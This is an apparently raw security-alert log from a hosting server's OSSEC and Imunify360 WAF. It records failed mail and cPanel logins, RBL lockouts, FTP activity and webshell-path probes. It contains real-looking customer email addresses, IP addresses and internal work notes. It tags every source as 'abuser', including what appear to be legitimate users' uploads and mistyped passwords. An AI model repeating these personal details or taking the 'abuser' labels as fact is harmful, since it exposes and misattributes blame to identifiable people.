name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 16:58:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:38416: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.129.199
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/ways-to-develop-a-project-on-the-net-classroom/images/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/cdn-cgi/l/news.php||SC:/home/sutsbcom/public_html/ways-to-develop-a-project-on-the-net-classroom||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 17:03:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58115: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 17:03:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58116: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 49.176.107.217
country_id: 2077456
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/long/589/146283 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.37.45
country_id: 1733045
description:
[2026-01-12 17:05:02 +0800] info [webmaild] 113.211.37.45 - zehrah@tschuan.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 113.211.37.45
country_id: 1733045
description:
[2026-01-12 17:05:22 +0800] info [webmaild] 113.211.37.45 - zehrah@tschuan.com "GET /cpsess4207266194/3rdparty/roundcube/?_task=mail&_mbox=INBOX HTTP/1.1" DEFERRED LOGIN webmaild: security token incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.150.123.106
country_id: 1814991
description:
Jan 12 17:07:08 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.150.123.106 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 185.214.10.21
country_id: 2750405
description:
2026-01-12 17:06:15 H=([185.214.10.21]) [185.214.10.21]:65266 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<info@aircarbonic.my> rejected RCPT <info@aircarbonic.my>: smtp auth required


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.150.123.106
country_id: 1814991
description:
2026-01-12 17:07:10 dovecot_login authenticator failed for H=([61.150.123.106]) [61.150.123.106]:37226: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 108.165.238.201
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-08.108.165.238.201||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 92.118.138.251
country_id: 690791
domain: agpc.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/agpc.org.my/wp-json/wp/v2/posts HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.208.151.199
country_id: 3469034
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 84.247.105.69
country_id: 6251999
domain: agsaintifik.com.my
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/89.0.4389.90 Safari/537.36||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 200.107.226.235
country_id: 3865483
description:
Jan 12 17:14:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 200.107.226.235 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.53.198
country_id: 953987
description:
Jan 12 17:14:47 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.53.198 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.92.222.43
country_id: 798544
description:
Jan 12 17:15:38 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.92.222.43 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.6.76
country_id: 690791
description:
Jan 12 17:15:08 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.6.76 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.73.129
country_id: 3469034
description:
Jan 12 17:17:39 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.73.129 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 17:19:05 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52317: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 17:19:11 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52317: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.131.240.127
country_id: 798544
description:
Jan 12 17:19:25 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.131.240.127 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 12 17:20:59 sv3 pure-ftpd[3343749]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11305
name: Attempt to access invalid directory
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 12 17:21:24 sv3 pure-ftpd[3343749]: (eminent@113.211.215.143) [INFO] Can't change directory to /42.0.28.63: No such file or directory


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.204.244
country_id: 3469034
description:
Jan 12 17:21:25 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.204.244 has been locked due to Imunify RBL


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 12 17:21:42 sv3 pure-ftpd[3344825]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB1042_PMR Wealth_Products_Awareness_(Banca)_eDM/260112_RHB1042_PMR Wealth Products Awareness (Banca)_eDM 1.pdf uploaded  (282033 bytes, 1773.71KB/sec)


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 12 17:21:38 sv3 pure-ftpd[3344825]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.26.238.72
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-21.216.26.238.72||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 17:24:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:36521: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 17:24:09 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:36521: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 17:26:04 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:38435: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.123.243
country_id: 1733045
description:
2026-01-12 17:26:10 dovecot_login authenticator failed for H=([IPv6:::ffff:192.168.0.15]) [113.211.123.243]:38435: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 42.191.143.110
country_id: 1733045
description:
[2026-01-12 17:26:47 +0800] info [webmaild] 42.191.143.110 - kelly62@fkr.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 179.158.97.216
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/point/12/297/1293159 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 163.227.195.32
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=739603 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 12 17:28:52 sv3 pure-ftpd[3355447]: (?@113.211.215.143) [INFO] New connection from 113.211.215.143


plugin: ossec
rule: 11313
name: FTP file uploaded to server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 12 17:28:55 sv3 pure-ftpd[3355447]: (eminent@113.211.215.143) [NOTICE] /home/eminent//public_html/folder/RHB1042_PMR Wealth_Products_Awareness_(Banca)_eDM/edm2/index_edm2.html uploaded  (37488 bytes, 1259.56KB/sec)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.11.195.116
country_id: 3865483
description:
Jan 12 17:28:58 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.11.195.116 has been locked due to Imunify RBL


plugin: ossec
rule: 11314
name: FTP file deleted from server
abuser: 113.211.215.143
country_id: 1733045
description:
Jan 12 17:28:50 sv3 pure-ftpd[3343749]: (eminent@113.211.215.143) [NOTICE] Deleted /home/eminent//public_html/folder/RHB1042_PMR Wealth_Products_Awareness_(Banca)_eDM/edm2/index_edm2.html


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.234.194.226
country_id: 3658394
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/egulias/email-validator/EmailValidator/Warning HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.189.128.105
country_id: 3996063
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/egulias/email-validator/EmailValidator/Warning/ HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.11.195.116
country_id: 3865483
description:
Jan 12 17:29:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.11.195.116 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.156.14.228
country_id: 2464461
domain: geminiflourmill.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/geminiflourmill.com/resize.php?h=463&img=img/product_photos/735040.jpg&w=555 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 91.212.194.9
country_id: 690791
domain: nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/nobledec.com/thumb.php?src=img/photos/1900553621.jpg&size=1000x1000 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 17:31:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58144: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 17:31:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58145: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.143.101
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/news-n-events/img/img/img/img/img/img/img/demos/img/new-development.php||SC:/home2/pspolycom/public_html/news-n-events||


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<ul>\r\n<li class=\"msolistparagraphcxspfirst\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp; </span></span></span>updated daily collection report &amp; daily cash flow</li>\r\n<li class=\"msolistparagraphcxspmiddle\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp;</span></span></span>do sales order warehouse cash sales-syafiq for sam</li>\r\n<li class=\"msolistparagraphcxsplast\" style=\"text-indent: -0.25in;\"><span style=\"mso-ascii-font-family: aptos; mso-fareast-font-family: aptos; mso-hansi-font-family: aptos; mso-bidi-font-family: aptos;\"><span style=\"mso-list: ignore;\"><span style=\"font: 7.0pt 'times new roman';\">&nbsp; &nbsp; &nbsp; </span></span></span>do posting sales invoices &amp; filing sales invoice</li>\r\n</ul>||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 107.173.177.133
country_id: 6252001
description:
Jan 12 17:32:17 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 107.173.177.133 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 107.173.177.133
country_id: 6252001
description:
2026-01-12 17:32:19 dovecot_login authenticator failed for H=(kymp) [107.173.177.133]:51282: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.67.155.165
country_id: 298795
description:
Jan 12 17:34:47 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.67.155.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.105.141.237
country_id: 798544
description:
Jan 12 17:35:05 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.105.141.237 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.105.141.237
country_id: 798544
description:
Jan 12 17:35:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.105.141.237 has been locked due to Imunify RBL


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 80.71.159.60
country_id: 6252001
domain: www.cofreth.com.my
description:
IM360 WAF: Bad file extension||RSV:7.62||T:APACHE||MVN:REQUEST_FILENAME||MV:/mysql.sql||User:cofrethcom||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.118.112.113
country_id: 6252001
description:
Jan 12 17:37:29 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.118.112.113 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.112.113
country_id: 6252001
description:
2026-01-12 17:37:31 dovecot_login authenticator failed for H=(yzhm) [92.118.112.113]:56770: 535 Incorrect authentication data (set_id=export@urban.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 170.82.52.175
country_id: 3469034
description:
Jan 12 17:37:43 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 170.82.52.175 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.158.52.239
country_id: 1861060
description:
[2026-01-12 17:38:06 +0800] info [cpaneld] 13.158.52.239 - oxboldc "POST /login/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 13.158.52.239
country_id: 1861060
description:
[2026-01-12 17:38:52 +0800] info [whostmgrd] 13.158.52.239 - oxboldc "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.250.154.145
country_id: 3932488
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=972941 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.237.58.197
country_id: 1269750
description:
Jan 12 17:45:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.237.58.197 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 110.37.31.6
country_id: 1168579
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/nesbot/carbon/src/JsonSerializable.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.188.79.165
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:17-46.185.188.79.165||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 17:47:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52395: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-12 17:47:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:52396: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 175.139.168.128
country_id: 1733045
domain: dailyreport.tallahesse.com
description:
IM360 WAF: Possible XSS in arguments||MV:<p><span style=\"text-decoration: underline;\"><strong>monday 12-jan-26</strong></span></p>\r\n<ul>\r\n<li>update tsb container arrival report&nbsp;</li>\r\n<li>making payment for ip</li>\r\n<li>apply new ip for incoming shipment for march</li>\r\n<li>follow up with agent on collection from excel horse.</li>\r\n<li>preparing shipping document</li>\r\n<li>prepaing loi</li>\r\n<li>discussion with eileen on philipphines shipment&nbsp;</li>\r\n<li>follow up on clearance status for ariving shipment.</li>\r\n<li>preparing shipping document for export to 18d.</li>\r\n<li>follow up greenpen invoices</li>\r\n<li>update tpy import schedule</li>\r\n<li>checking with jxl on courier shipment charges.</li>\r\n<li>discuss with eileen on older stock tpy return back to kk/blurton.</li>\r\n</ul>||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.232.65.142
country_id: 3469034
description:
Jan 12 17:50:00 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.232.65.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.60.212.228
country_id: 3175395
description:
Jan 12 17:51:00 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.60.212.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.232.65.142
country_id: 3469034
description:
Jan 12 17:50:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.232.65.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.130.168.29
country_id: 3469034
description:
Jan 12 17:50:23 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.130.168.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.60.212.228
country_id: 3175395
description:
Jan 12 17:51:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.60.212.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 195.177.113.62
country_id: 3175395
description:
Jan 12 17:51:18 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 195.177.113.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 17:51:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.7.120.16
country_id: 1210997
domain: www.nobledec.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.nobledec.com/thumb.php?src=img/photos/2909723992.jpg&size=1000x1000 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.119
country_id: 3175395
description:
Jan 12 17:54:02 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.171.180
country_id: 3175395
description:
Jan 12 17:53:43 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.171.180 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.119
country_id: 3175395
description:
Jan 12 17:54:09 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.253
country_id: 3175395
description:
Jan 12 17:55:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.253 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 17:55:43 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.142.227.78
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=934108 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 17:59:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58164: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 17:59:15 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58165: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.241
country_id: 3469034
description:
Jan 12 18:00:40 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.241 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 187.85.17.133
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=960236 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.87.243.112
country_id: 798544
description:
Jan 12 18:01:01 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.87.243.112 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 212.87.243.112
country_id: 798544
description:
Jan 12 18:01:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 212.87.243.112 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.26.227.182
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:18-02.216.26.227.182||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 128.201.58.159
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=836901 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.103
country_id: 3469034
description:
Jan 12 18:05:23 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.194.25.219
country_id: 3469034
description:
Jan 12 18:05:53 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.194.25.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.194.25.219
country_id: 3469034
description:
Jan 12 18:06:08 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.194.25.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 87.76.5.36
country_id: 2017370
description:
Jan 12 18:08:20 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 87.76.5.36 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.216.251
country_id: 99237
description:
Jan 12 18:08:21 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.216.251 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 87.76.5.36
country_id: 2017370
description:
2026-01-12 18:08:22 dovecot_login authenticator failed for H=([87.76.5.36]) [87.76.5.36]:37894: 535 Incorrect authentication data (set_id=serene.chin@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.85.69.22
country_id: 2017370
description:
Jan 12 18:09:48 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.85.69.22 has been locked due to Imunify RBL


